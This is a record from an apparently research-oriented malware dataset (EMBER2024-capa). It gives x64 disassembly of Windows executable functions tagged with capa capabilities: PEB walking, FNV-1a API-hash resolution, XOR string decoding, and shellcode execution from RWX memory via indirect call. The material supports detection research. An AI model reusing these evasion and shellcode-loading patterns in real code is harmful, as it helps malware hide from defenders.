joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400095a0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdi, rcx
mov dword [rsp + 0x20], 0x2c303325
xor edx, edx
mov dword [rsp + 0x24], 0x677c6536
mov word [rsp + 0x28], 0x100
nop dword [rax]
lea eax, [rdx + 0x40]
xor byte [rsp + rdx + 0x20], al
inc rdx
cmp rdx, 8
jb 0x1400095d0
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x29], 0
mov rcx, rbx
call fcn.1400019c0
mov rdx, rdi
mov rcx, rbx
call fcn.1400019c0
lea rdx, [0x140002c10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140009697
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140009697
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140009692
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140009670
cmp r8d, 0x2fa62ca8
je 0x14000969c
test r9d, r9d
jne 0x140009650
mov rax, qword [rax]
jmp 0x140009620
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xbb8
add rax, r10
call rax
mov rbx, qword [rsp + 0x40]
mov qword [0], 1
add rsp, 0x30
pop rdi
ret
Function at 0x14000bdc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400aff80]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, edx
mov rdi, rcx
cmp edx, 0xffffffff
jne 0x14000bded
xor eax, eax
jmp 0x14000bf56
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000be2d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, rbx
jae 0x14000be2d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x14000bf4e
cmp qword [rdi + 0x80], 0
je 0x14000bf49
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rdi + 0x70]
cmp rax, rcx
jne 0x14000be67
mov rdx, qword [rdi + 0x88]
mov rcx, rdi
mov r9, qword [rdi + 0x90]
mov r8, rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x14000be92
mov rdx, qword [rdi + 0x80]
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x14000bf4e
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x38], rax
lea rdx, [rdi + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000bf01
sub eax, 1
je 0x14000bf01
cmp eax, 2
jne 0x14000bf49
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rdi + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x14000bf4e
mov rbx, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbx, rax
je 0x14000bf2f
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x14000bf49
lea rax, [rsp + 0x50]
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, esi
mov eax, ecx
jmp 0x14000bf4e
mov eax, 0xffffffff
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400816c0
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14000f9d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x60
mov rax, qword [0x1400aff80]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbx, rdx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
lea r12, [rsp + 0x88]
movabs r15, 0xff00ff00ff00ff00
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r12
mov rdi, qword [r12]
xor rdi, r15
mov qword [rsp + 0x20], rdi
mov qword [r12], rax
xor edx, edx
lea r8d, [rax + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], rax
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
sub rbx, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rax
mov rcx, qword [rax]
xor rcx, r15
mov qword [rsp + 0x38], rcx
mov qword [rax], 0
xor ecx, ecx
lea rbp, [0x140001e70]
lea rsi, [0x140000000]
mov rax, qword [0x1400b1d70]
test rax, rax
je 0x14000fac0
xor edx, edx
cmp rax, rbp
je 0x14000faaf
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0xb1d70]
test rax, rax
jne 0x14000fa97
jmp 0x14000fac0
mov r8, qword [rsi + rdx*8 + 0xb2090]
test r8, r8
jne 0x14000fb9f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14000fb7e
mov rcx, rbp
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14000faf0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x1400b1d60]
mov qword [rsi + rax*8 + 0xb1d70], rbp
mov qword [rsi + rax*8 + 0xb2090], r8
inc rax
mov qword [0x1400b1d60], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call r8
nop
xor rdi, r15
mov qword [r12], rdi
mov rax, rbx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400816c0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000fbe0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov dword [rsp + 0x10], edx
mov qword [r11 + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, r9
mov r12, r8
mov ebx, edx
mov r14, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea rax, [rsp + 0x78]
movabs r13, 0xff00ff00ff00ff00
mov qword [r11 - 0x50], r13
mov qword [r11 - 0x48], rax
mov rbp, qword [rax]
xor rbp, r13
mov qword [r11 + 0x20], rbp
mov qword [r11 - 0x58], rbp
xor edi, edi
mov qword [rax], rdi
mov ecx, dword [r9 + 0x90]
mov rdx, r9
call fcn.14000fde0
cmp dword [rsi + 0x90], edi
je 0x14000fdad
cmp dword [rsi + 0x94], edi
je 0x14000fdad
lea r15, [rax + 0x10]
lea r11, [rsp + 0x78]
mov r8d, dword [r15 - 4]
mov r10, qword [r11]
mov qword [r11], rdi
movzx edx, word [rsi + 0x14]
add rdx, 0x18
add rdx, rsi
movzx eax, word [rsi + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14000fda2
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14000fca7
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000fcad
add rdx, 0x28
jmp 0x14000fc8c
mov ebp, dword [rdx + 0x14]
sub rbp, rcx
add rbp, r8
mov qword [r11], r10
add rbp, r12
je 0x14000fda5
mov r8, rbp
mov edx, ebx
mov rcx, r14
call fcn.140007310
mov r14, rax
test rax, rax
je 0x14000fd98
mov ecx, dword [r15]
mov r8, r12
mov rdx, rsi
call fcn.14000fde0
mov rbx, rax
mov r8, qword [rax]
test r8, r8
je 0x14000fd80
lea r13, [rsp + 0x78]
jns 0x14000fd05
movzx edx, r8w
jmp 0x14000fd5c
mov r10, qword [r13]
mov qword [r13], rdi
movzx eax, word [rsi + 0x14]
add rax, 0x18
add rax, rsi
movzx ecx, word [rsi + 6]
lea rdx, [rcx + rcx*4]
lea r9, [rax + rdx*8]
cmp rax, r9
jae 0x14000fd4f
mov edx, dword [rax + 0xc]
cmp r8, rdx
jb 0x14000fd3b
mov ecx, dword [rax + 8]
add ecx, edx
cmp r8, rcx
jb 0x14000fd41
add rax, 0x28
jmp 0x14000fd24
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r8
add rcx, r12
jmp 0x14000fd52
mov rcx, rdi
mov rax, r13
mov qword [rax], r10
lea rdx, [rcx + 2]
mov rcx, rbp
call fcn.14000f9d0
add rax, r14
mov qword [rbx], rax
add rbx, 8
mov r8, qword [rbx]
test r8, r8
jne 0x14000fcfd
movabs r13, 0xff00ff00ff00ff00
add r15, 0x14
mov ebx, dword [rsp + 0x88]
mov r14, qword [rsp + 0x80]
jmp 0x14000fc66
mov rbp, qword [rsp + 0x98]
jmp 0x14000fdb2
mov qword [r11], r10
mov rbp, qword [rsp + 0x98]
mov edi, 1
xor r13, rbp
lea rax, [rsp + 0x78]
mov qword [rax], r13
mov eax, edi
mov rbx, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000fde0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
lea rdi, [rsp]
mov r10, rcx
mov rbx, qword [rdi]
mov qword [rdi], 0
movzx eax, word [rdx + 0x14]
add rax, 0x18
add rax, rdx
movzx edx, word [rdx + 6]
lea r9, [rdx + rdx*4]
lea r11, [rax + r9*8]
cmp rax, r11
jae 0x14000fe32
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x14000fe29
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x14000fe42
add rax, 0x28
cmp rax, r11
jb 0x14000fe17
xor eax, eax
mov qword [rdi], rbx
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
mov eax, dword [rax + 0x14]
sub rax, rdx
mov qword [rdi], rbx
mov rbx, qword [rsp + 8]
add rax, r10
mov rdi, qword [rsp + 0x10]
add rax, r8
ret
Function at 0x140013660
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x88
mov rax, qword [0x1400aff80]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r10, qword [0x1400b2470]
xor r11d, r11d
mov qword [rsp + 0x58], r11
test r10, r10
jne 0x14001383d
mov rax, qword gs:[0x60]
mov r10d, 0xdf6a51c
mov qword [rsp + 0x98], rbp
mov ebp, r11d
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x90], rbx
mov r12, qword [rcx + 0x10]
mov rsi, r12
mov qword [rsp + 0x70], r15
nop dword [rax]
mov eax, dword [rsi + 0x58]
sub ax, 8
test ebp, ebp
je 0x14001372c
mov rcx, qword [rsi + 0x60]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140013724
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140013710
cmp edx, ebp
jne 0x1400137f2
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x1400137f2
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400137f2
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400137a7
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140013790
cmp edx, r10d
je 0x1400137b3
test r8d, r8d
jne 0x140013770
jmp 0x1400137f2
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
cmp r10, rbx
jbe 0x140013804
lea rax, [rbx + r15]
cmp r10, rax
jae 0x140013804
mov ebp, 0x811c9dc5
mov rsi, r12
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x54], ebp
mov r10, qword [rsp + 0x50]
shr r10, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
jne 0x1400136e0
mov r10, r11
mov r15, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov qword [0x1400b2470], r10
movdqa xmm0, xmmword [0x140085a90]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x50e0514
mov dword [rsp + 0x44], 0x80e1a16
mov word [rsp + 0x48], 7
mov byte [rsp + 0x4a], 1
nop word [rax + rax]
lea eax, [r11 + 0x40]
xor byte [rsp + r11 + 0x30], al
inc r11
cmp r11, 0x19
jb 0x140013870
lea rax, [rsp + 0x58]
mov byte [rsp + 0x4a], 0
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x1400138b9
mov qword [0], 1
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400816c0
add rsp, 0x88
ret
Function at 0x1400140e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xd8
mov rax, qword [0x1400aff80]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov r14, r9
mov r13, r8
mov r12, rdx
mov r15, rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x28], xmm0
lea rcx, [rsp + 0x118]
movabs rbx, 0xff00ff00ff00ff00
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rcx
mov rsi, qword [rcx]
xor rsi, rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rsi
mov qword [rcx], rax
movzx edi, word [r9 + 0x14]
add rdi, 0x2c
movzx ebp, ax
cmp ax, word [r9 + 6]
jae 0x140014211
lea rsi, [rsp + 0x118]
add rdi, r9
nop dword [rax]
call fcn.1400097f0
mov r9, rax
mov r8d, dword [rdi - 4]
mov edx, dword [rdi]
add rdx, r13
mov ecx, dword [rdi - 8]
add rcx, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
mov rbx, qword [rsi]
mov rax, rbx
movabs r10, 0xff00ff00ff00ff00
xor rax, r10
mov qword [rsp + 0x40], rax
mov qword [rsi], 0
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x80], r15d
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x78], r8
lea rdx, [rsp + 0x60]
mov rcx, r9
call fcn.1400107f0
nop
mov qword [rsi], rbx
inc bp
lea rdi, [rdi + 0x28]
cmp bp, word [r14 + 6]
movabs rbx, 0xff00ff00ff00ff00
jb 0x140014170
mov rsi, qword [rsp + 0x20]
lea rcx, [rsp + 0x118]
xor rsi, rbx
mov qword [rcx], rsi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400816c0
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140014240
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rsi, r8
mov r14, rdx
mov rbp, rcx
test r8, r8
jg 0x140014262
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140014278
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x28], rbx
mov rbx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
test rax, rax
je 0x1400142c2
cmp rax, rsi
mov rdi, rsi
mov rcx, rbp
cmovb rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rdi
mov rcx, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, edi
mov rcx, rbp
add r14, rdi
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rbp + 0x80], 0
mov rdi, rbx
je 0x140014331
mov rcx, rbp
call fcn.1400063d0
cmp rbx, 0xfff
jbe 0x140014311
mov r9, qword [rbp + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x14001434a
cmp rbx, rax
ja 0x1400142e0
test rdi, rdi
je 0x140014331
mov r9, qword [rbp + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rsi, rdi
mov rbx, qword [rsp + 0x28]
mov rax, rsi
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rsi, rbx
jmp 0x140014334
Function at 0x140014350
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140014378
add rsp, 0x20
pop r14
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov rbp, rax
test rbx, rbx
jle 0x1400143ec
test rax, rax
jle 0x1400143cc
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, rbp
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
add r14, rbp
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
test rbx, rbx
jle 0x1400143ec
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400143ec
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x40]
sub rsi, rbx
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rbx
ret
Function at 0x14001d3f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 7], dil
je 0x14001d424
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x58]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14001d410
mov byte [r8 + 7], dil
lea rax, [r8 + 6]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14001d454
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14001d46e
mov qword [rsp + 0x30], 6
mov eax, dword [r8]
mov dword [rsp + 0x20], eax
movzx eax, word [r8 + 4]
mov word [rsp + 0x24], ax
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14001d47c
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14002b5d0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14001d4f6
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d4f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d4f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140081180
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14001d510
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 9], dil
je 0x14001d544
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x58]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14001d530
mov byte [r8 + 9], dil
lea rax, [r8 + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14001d574
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14001d585
mov qword [rsp + 0x30], 8
mov rax, qword [r8]
mov qword [rsp + 0x20], rax
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14001d593
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.14002b5d0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14001d60d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d608
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140081180
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret